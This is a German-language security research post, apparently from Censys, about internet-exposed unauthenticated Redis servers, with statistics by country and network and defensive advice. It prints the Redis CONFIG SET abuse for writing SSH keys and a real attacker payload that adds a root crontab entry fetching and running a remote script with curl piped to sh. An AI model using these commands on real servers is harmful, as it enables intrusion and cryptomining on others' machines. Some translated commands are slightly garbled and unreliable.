Veröffentlicht am 09.19.2022
Teil 1: Redis
Mitbringsel
- Es gibt 39.405 unauthentifizierte Redis-Dienste von insgesamt 350.675 Redis-Diensten im öffentlichen Internet.
- Fast 50 % der nicht authentifizierten Redis-Dienste im Internet zeigen Anzeichen eines versuchten Kompromittierung.
Vorwort
In dieser neuen Reihe von Beiträgen haben wir beschlossen, die Frage zu beantworten: "Wie ist der Stand der Datenbanken im Internet?". Wir können diese Frage mit Hilfe unseres Datensatzes sehr detailliert beantworten.
Dieser Bericht ist der erste von mehreren. In den kommenden Monaten werden wir eine detaillierte Analyse verschiedener Datenbanktechnologien veröffentlichen, und wir werden unsere Reise in "Datenbanken. EXPOSED!" mit der beliebten In-Memory-Datenbank: Redis
Bevor wir jedoch weitergehen, sollten wir darüber sprechen, was es bedeutet, dass eine Datenbank im Internet "offen" ist. Unser Scanner wird versuchen, die Sprache des Dienstes zu sprechen, den wir aufzählen wollen. Zum Beispiel wird unser Scanner ein Paket zusammenstellen, das nur ein MySQL-Server verarbeiten kann, und im Gegenzug erhalten wir eine Antwort, die uns mehr Informationen über diesen laufenden Dienst liefert.
Die Handshake-Antwort eines MySQL-Servers.
Censys wird niemals versuchen, sich bei einem der gefundenen Datenbankdienste zu authentifizieren. Wir führen einen Handshake mit dem Remote-Server über das native Protokoll durch und analysieren die Antworten in eine Reihe von Feldern, um die Suche zu erleichtern.
Zum Zeitpunkt der Erstellung dieses Berichts gab es 220 010 967 Hosts mit einem oder mehreren exponierten Internet-Diensten. Davon laufen auf 5.889.954 Hosts (2,6 % der Gesamtzahl) eine oder mehrere der zwölf Datenbanktechnologien, die wir in dieser Serie besprechen werden. Das folgende Diagramm zeigt unsere Top-Datenbanken, geordnet nach der Anzahl der Dienste.
(Datenbankdienste gefunden von Censys)
Einleitung.
Redis ist die am vierthäufigsten verwendete Datenbank-Engine, die wir in dieser Serie betrachten. Im Gegensatz zu traditionellen relationalen Datenbanken wurde Redis nicht mit Blick auf die Sicherheit entwickelt, sondern in der Erwartung, dass es immer nur für die interne und private Kommunikation genutzt werden sollte (d.h. nicht direkt mit dem Internet verbunden und hinter einer Firewall). Das folgende Zitat stammt aus der Redis-eigenen Dokumentation zu diesem Thema:
Redis ist für den Zugriff durch vertrauenswürdige Clients in vertrauenswürdigen Umgebungen konzipiert. Das bedeutet, dass es normalerweise keine gute Idee ist, die Redis-Instanz direkt dem Internet oder generell einer Umgebung auszusetzen, in der nicht vertrauenswürdige Clients direkt auf den Redis-TCP-Port oder UNIX-Socket zugreifen können.
In neueren Versionen (ab Version 3.0.0) hat Redis das wachsende Problem von passwortlosen Servern, die dem Internet ausgesetzt sind, dadurch gelöst, dass es in einem "geschützten Modus" läuft, wenn es sich in der Standardkonfiguration befindet. Dieser geschützte Modus antwortet nur auf Anfragen auf der Loopback-Schnittstelle und blockiert Anfragen aus dem Internet. Wie wir im weiteren Verlauf dieses Beitrags sehen werden, besteht das Problem jedoch nach wie vor.
Redis-Dienste aktivieren standardmäßig keine Authentifizierung, und wegen dieses Mangels an Sicherheit kann Censys Zehntausende von nicht authentifizierten Redis-Einsätzen im Internet sehen.
Exposition.
(Geografische Heatmap der Redis-Hosts im Internet)
Zum Zeitpunkt der Erstellung dieses Berichts beobachtete Censys 350.675 über das Internet zugängliche Redis-Dienste auf 260.534 einzelnen Hosts. Während die meisten dieser Dienste eine Authentifizierung erfordern, ist dies bei 11 % (39.405) nicht der Fall.
"11 % der Redis-Dienste im Internet erfordern keine Authentifizierung.
Nachfolgend sind die zehn Länder mit internetfähigen Redis-Servern aufgeführt, geordnet nach der Gesamtzahl der Dienste. An erster Stelle steht China mit 130.839 über das Internet zugänglichen Redis-Diensten, von denen 15 % (20.011 Dienste) keine Authentifizierung erfordern. Während die Vereinigten Staaten mit insgesamt 96.904 Redis-Diensten den zweiten Platz einnehmen, sind nur 5 % (5.108 Dienste) ohne Authentifizierung zugänglich.
| Land |
Unbestätigte |
Authentifiziert |
Insgesamt |
Daten (in GB) |
Unbestätigte % |
| China |
20,011 |
110,828 |
130,839 |
146.14 |
15.29 |
| Vereinigte Staaten |
5,108 |
91,796 |
96,904 |
40.02 |
5.27 |
| Frankreich |
807 |
11,474 |
12,281 |
8.46 |
6.57 |
| Deutschland |
1,724 |
10,396 |
12,120 |
19.38 |
14.22 |
| Niederlande |
433 |
10,828 |
11,261 |
3.34 |
3.85 |
| Irland |
390 |
9,624 |
10,014 |
3.64 |
3.89 |
| Singapur |
1,236 |
8,710 |
9,946 |
8.39 |
12.43 |
| Hongkong |
512 |
8,615 |
9,127 |
2.6 |
5.61 |
| Indien |
876 |
6,688 |
7,564 |
9.89 |
11.58 |
| Japan |
711 |
6,334 |
7045 |
2.05 |
10.09 |
Redis speichert alle seine Daten vollständig im Speicher. Wenn unser Scanner einen nicht-intrusiven `INFO`-Befehl an den Dienst sendet (der uns einen Überblick über den aktuellen Betriebsstatus gibt), können wir sehen, wie viel Speicher verwendet wird und wie viele Daten im Gegenzug dem öffentlichen Internet ausgesetzt sind. Während wir niemals den Inhalt der Daten eines offengelegten Redis-Dienstes abfragen oder einsehen, könnte ein böswilliger Benutzer leicht alle gespeicherten Daten des Dienstes auslesen.
Durch Aggregation des Censys Suchfeldes "services.redis.used_memory" können wir berechnen, dass von den insgesamt 39.405 nicht authentifizierten Redis-Servern, die wir beobachtet haben, die potenzielle Datenexposition über 300 Gigabyte beträgt.
| Unauthentifizierte Redis-Dienste von AS |
Offengelegte Redis-Daten nach AS |
 |
 |
TENCENT-NET-AP (AS45090) hat mit 13.359 Diensten und etwa 48 Gigabyte offengelegter Daten die höchste Anzahl nicht authentifizierter Redis-Einsätze. ALIBABA-CN-NET (AS37963) verfügt zwar nur über 2.377 nicht authentifizierte Redis-Dienste, hat aber mit knapp über 60 Gigabyte (62.341.142.583 Byte) die meisten Daten, die dem Internet zugänglich sind.
Aus der Sicht eines Angreifers ist eine geringere Anzahl von falsch konfigurierten Diensten mit einer höheren Datenexposition wertvoller als eine höhere Anzahl von falsch konfigurierten Diensten mit wenig oder gar keinen exponierten Daten.
Interessanterweise stellten wir fest, dass auf dem Host mit der größten Datenexposition acht Redis-Server an acht verschiedenen Ports liefen, die insgesamt mehr als 6 Gigabyte an Daten enthielten. Interessant an diesem Host war, dass zwei der acht laufenden Redis-Dienste eine Authentifizierung erforderten. Das bedeutet, dass die Administratoren des Hosts sowohl bewusst als auch sachkundig genug waren, um die Authentifizierung bei einigen Redis-Diensten zu aktivieren, aber sechs der acht Dienste übersehen haben. Der Grund dafür könnte in einer schlechten Konfiguration, einem Fehler bei der Bereitstellung oder einer zulässigen Firewall-Regel zu suchen sein. Unabhängig von der Ursache ist jedoch eines sehr wahrscheinlich: Die Host-Eigentümer verstehen ihre externe Angriffsfläche nicht.
Und das ist kein Einzelfall: Wir fanden heraus, dass 406 Hosts, auf denen mehrere Instanzen von Redis liefen, eine Mischung aus authentifizierten und nicht authentifizierten Diensten auf verschiedenen Ports auf demselben Host hatten. Dies bestätigt die Tatsache, dass einige Dinge immer durch die Maschen schlüpfen werden, und das Verständnis Ihres Internet-Fußabdrucks ist für die kontinuierliche Sicherheit eines Unternehmens entscheidend.
Was die Menge der offengelegten Daten pro Land betrifft, so zeigt das obige Diagramm die zehn wichtigsten Länder, geordnet nach der Gesamtmenge der durch falsch konfigurierte Redis-Dienste offengelegten Daten. China dominiert mit 146 Gigabyte offengelegter Daten, während die Vereinigten Staaten mit rund 40 Gigabyte dahinter zurückbleiben.
Versionen.
In der Einleitung dieses Beitrags haben wir erwähnt, dass die Redis-Entwickler versucht haben, das Problem der passwortlosen Server im Internet zu lösen, indem sie ab Version 3.0.0 einen "geschützten Modus" eingeführt haben. Wenn Redis auf allen Schnittstellen (0.0.0.0) lauscht und kein Passwort konfiguriert wurde, reagiert dieser geschützte Modus nur auf Anfragen von der Loopback-Schnittstelle (127.0.0.1) und weist externe Anfragen zurück. Ein Administrator kann diesen Modus manuell deaktivieren, indem er den folgenden Redis-Befehl ausführt: config set protected-mode no.
Eine kleine Anmerkung ist, dass das offizielle Redis-Docker-Image die Einstellung protected mode nicht standardmäßig aktiviert zu haben scheint. Unten sehen Sie ein Beispiel für den Start des offiziellen Docker-Redis-Dienstes und die Abfrage des Wertes der protected-mode-Konfiguration. Wie wir sehen können, ist dieser geschützte Modus deaktiviert, wenn er unter Docker ausgeführt wird.
~$ docker run --name REDIS -d redis
f5a8190cb46b243b948f08301e73b0833c86f3a55f7dc4e84cce35b1a67dd955
~$ docker exec -it REDIS redis-cli
127.0.0.1:6379> CONFIG GET protected-mode
1) "protected-mode"
2) "no"
Auffinden von missbrauchtem Redis
Nach der Überprüfung bekannter Probleme für den Redis-Server auf GitHub erregte das Problem #4791 unsere Aufmerksamkeit. Dieser Benutzer berichtete, dass sein über das Internet erreichbarer Redis-Server mehrere Schlüssel enthielt, die einen als crontab formatierten Wert enthielten, der versuchte, ein Shell-Skript auszuführen, das von einem entfernten Server geholt wurde, den er nicht selbst eingestellt hatte. Aus Sorge, dass es sich um eine unbekannte Sicherheitslücke handeln könnte, bat der Benutzer die Entwickler um Unterstützung. Ein zweiter Benutzer meldete sich und bestätigte, dass sein Server von einem ähnlichen Problem betroffen war.
Wie sich herausstellte, nutzen Angreifer seit Jahren eine weniger bekannte Technik, um Redis-Server dazu zu bringen, Daten in beliebige Dateien zu schreiben. Diese Technik, die nur als "Redis Unauthorized Access Vulnerability" bekannt ist,wendet das Laufzeitkonfigurationssystem von Redis gegen sich selbst. Dieser Angriff ist recht einfach.
Zunächst müssen wir verstehen, dass Redis über einen Mechanismus verfügt, um die In-Memory-Daten auf der Festplatte zu speichern, damit sie einen Neustart oder einen Ausfall überstehen. Die Standardeinstellungen hierfür sind in der Redis-Konfiguration zu finden:
# Die DB wird in dieses Verzeichnis geschrieben, mit dem Dateinamen, der
# oben mit der Konfigurationsanweisung 'dbfilename'.
#
# Die Append-Only-Datei wird ebenfalls in diesem Verzeichnis erstellt.
#
# Beachten Sie, dass Sie hier ein Verzeichnis angeben müssen, nicht einen Dateinamen.
dir /var/lib/redis
# Der Dateiname, in den die DB gedumpt werden soll
dbDateiname dump.rdb
Was überraschen mag, ist, dass diese Konfigurationswerte auch aus der Ferne zur Laufzeit über das Redis-Nachrichtenprotokoll gesetzt werden können. Die allgemeine Idee hinter dieser Ausnutzungstechnik besteht darin, Redis so zu konfigurieren, dass es seine dateibasierte Datenbank in ein Verzeichnis schreibt, das eine Methode enthält, um beispielsweise einen Benutzer zu autorisieren (wie das Hinzufügen eines Schlüssels zu ".ssh/authorized_keys") oder einen Prozess zu starten (wie das Hinzufügen eines Skripts zu /etc/cron.d),
$ redis-cli
127.0.0.1:6379> CONFIG SET dir /root/.ssh
OK
127.0.0.1:6379> CONFIG SET dbfilename "authorized_keys"
OK
127.0.0.1:6379> SET backup1 "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADA... \n\n\n"
OK
127.0.0.1:6379> SPEICHERN
OK
Die obige Anweisung würde den Redis-Dienst veranlassen, den Speicherinhalt in die Datei "/root/.ssh/authorized_keys" zu schreiben. Das Ziel ist es, den Wert des "backup1"-Schlüssels in diese Datei zu schreiben, in der Hoffnung, dass der SSH-Dienst alle binären Daten ignoriert, die Redis der Datei hinzufügen könnte, und Clients akzeptiert, die diesen SSH-Schlüssel verwenden.
Hinweis: Die authorized_keys-Datei in SSH ermöglicht es einem Benutzer, seinen öffentlichen SSH-Schlüssel anstelle der lokalen passwortbasierten Authentifizierung zu verwenden. Der SSH-Server akzeptiert eine Anmeldung ohne Überprüfung des lokalen Passworts, wenn Sie die private Seite eines in $USER/.ssh/authorized_keys definierten öffentlichen Schlüssels besitzen.
Es waren nicht nur die beiden Benutzer in der oben erwähnten GitHub-Ausgabe, die mit einer solchen Sache getroffen wurden. Wir haben Hinweise darauf gefunden, dass jemand diesen Angriff auf zehntausende nicht authentifizierte Redis-Server im Internet versucht hat. Wir können nicht sagen, ob die Angriffe erfolgreich waren, aber wir können über die Artefakte berichten, die diese Versuche hinterlassen haben.
Wir fanden heraus, dass bei diesem Versuch mehrere Redis-Schlüssel mit dem Präfix "backup" verwendet wurden, um mit den folgenden Redis-Befehlen bösartige Crontab-Einträge in der Datei "/var/spool/cron/root" zu speichern:
127.0.0.1:6379> FLUSHALL
Dieser Befehl löscht alle Daten auf dem Redis-Server. Dies geschieht, damit der Inhalt der folgenden Schlüssel/Werte so nah wie möglich an den Anfang der Datenbankdatei geschrieben wird.
127.0.0.1:6379> SET backup1 "\n\n\n*/4 * * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\n\n\n"
Dadurch wird der Schlüssel "backup1" so eingestellt, dass er einen Crontab-Job enthält, der dieses init.sh-Skript alle vier Minuten von einem entfernten Server abruft und ausführt.
127.0.0.1:6379> CONFIG SET dir "/var/spool/cron/"
Damit wird das Datenverzeichnis von Redis auf das Verzeichnis "/var/spool/cron/" des Systems gesetzt; das Standardverzeichnis, in dem die Crontabs der einzelnen Benutzer gefunden und vom Prozess "crond" ausgeführt werden.
127.0.0.1:6379> CONFIG SET dbfilename "root"
Dies setzt den Dateinamen von Redis auf "root", was bedeutet, dass der Inhalt der Datenbank in "/var/spool/cron/root" gespeichert wird, d.h. in der individuellen crontab-Datei des root-Benutzers.
127.0.0.1:6379> speichern
Schließlich wird der Redis-Server angewiesen, den Speicher mit der Festplatte zu synchronisieren. Wenn dies erfolgreich ist, wird der Inhalt von "/var/spool/cron/root" gelesen und vom crontab-Prozess ausgeführt.
Dieses Skript "init.sh" (wie im Befehl "SET backup1" zu sehen) war zum Zeitpunkt der Erstellung dieses Artikels noch zugänglich und konnte heruntergeladen und angesehen werden. Wenn dieses Skript ausgeführt wird, beinhaltet es viele schändliche Aktionen, darunter
- Stoppt und deaktiviert jeden laufenden sicherheitsrelevanten Prozess
- Anhalten und Deaktivieren aller laufenden Systemüberwachungsprozesse
- Entfernt und löscht alle system- und sicherheitsrelevanten Protokolldateien, einschließlich Shell-Historien (z. B. .bash_history).
- Fügt einen neuen SSH-Schlüssel in die authorized_keys-Datei des Root-Benutzers ein
- Deaktiviert die iptables-Firewall
- Installiert verschiedene Hacking- und Scanning-Tools wie "Masscan".
- Installiert und führt die Kryptowährungs-Mining-Anwendung XMRig aus
Hinweis: Für den Fall, dass dieses Skript aus dem Internet gelöscht wurde, haben wir einen Gist erstellt, der eine Kopie des Originals ist und den der Leser hier finden kann hier.
Anhand der aktuellsten Liste nicht authentifizierter Redis-Dienste, die auf TCP-Port 6379 laufen, haben wir einen einmaligen Scan durchgeführt, der einfach nach dem Vorhandensein des Schlüssels "backup1" (Anmerkung: wir haben den Wert nicht abgefragt) auf jedem Host gesucht hat. Wir fanden heraus, dass von den 31.239 nicht authentifizierten Redis-Servern in dieser Liste 15.526 Hosts diesen Schlüssel gesetzt hatten. Das bedeutet, dass jemand den in diesem Abschnitt beschriebenen Angriff auf über 49 % der bekannten, nicht authentifizierten Redis-Server im Internet versucht hat.
Dies bedeutet jedoch nicht, dass es mehr als 15k kompromittierte Hosts gibt. Es ist unwahrscheinlich, dass die Bedingungen, die für den Erfolg dieser Schwachstelle erforderlich sind, auf jedem dieser Hosts gegeben sind. Der Hauptgrund dafür, dass viele dieser Versuche fehlschlagen, ist, dass der Redis-Dienst als Benutzer mit den richtigen Berechtigungen zum Schreiben in das Verzeichnis "/var/spool/cron" (d.h. root) ausgeführt werden muss. Dies kann der Fall sein, wenn Redis innerhalb eines Containers (z. B. Docker) ausgeführt wird, wo der Prozess sich selbst als root sieht und dem Angreifer erlaubt, diese Dateien zu schreiben. In diesem Fall ist jedoch nur der Container betroffen, nicht der physische Host.
Auch hier können wir nur feststellen, ob dieser Angriff versucht wurde, nicht aber, ob er erfolgreich war.
Was kann getan werden?
Redis ist ein fantastisches Produkt. Aber es ist auch dafür gedacht, auf einer internen Infrastruktur betrieben zu werden, nicht auf öffentlichen Servern. Die Administratoren müssen sicherstellen, dass externe Stellen in keiner Weise auf Ihre Redis-Instanzen zugreifen können. Ein guter erster Schritt ist die Lektüre der Redis-Dokumentation über Redis-Sicherheit. Aber zusammenfassend:
- Aktivieren Sie die Client-Authentifizierung in Ihrer Redis-Konfigurationsdatei.
- Konfigurieren Sie Redis so, dass es nur auf internen Netzwerkschnittstellen läuft.
- Deaktivieren Sie den Befehl "CONFIG" durch Ausführen von 'rename-command CONFIG ""', um Konfigurationsmissbrauch zu vermeiden.
- Konfigurieren Sie Ihre Firewall so, dass sie nur Redis-Verbindungen von vertrauenswürdigen Hosts akzeptiert.
Netzwerk- und Host-Administratoren sollten auch ständig überwachen, welche Dienste ihre Hosts dem Internet zur Verfügung stellen. Am besten verwenden Sie dazu das kostenlose Suchtool Censys , um zu sehen, wie die Öffentlichkeit Ihre mit dem Internet verbundenen Hosts sieht. Wenn Sie ein großes Netzwerk haben oder sich über Ihren Bestand nicht sicher sind, ist Censys Attack Surface Management ein Produkt, das automatisch Hosts in Ihrem Besitz finden und Sie über nicht authentifizierte oder falsch konfigurierte Redis-Server informieren kann.
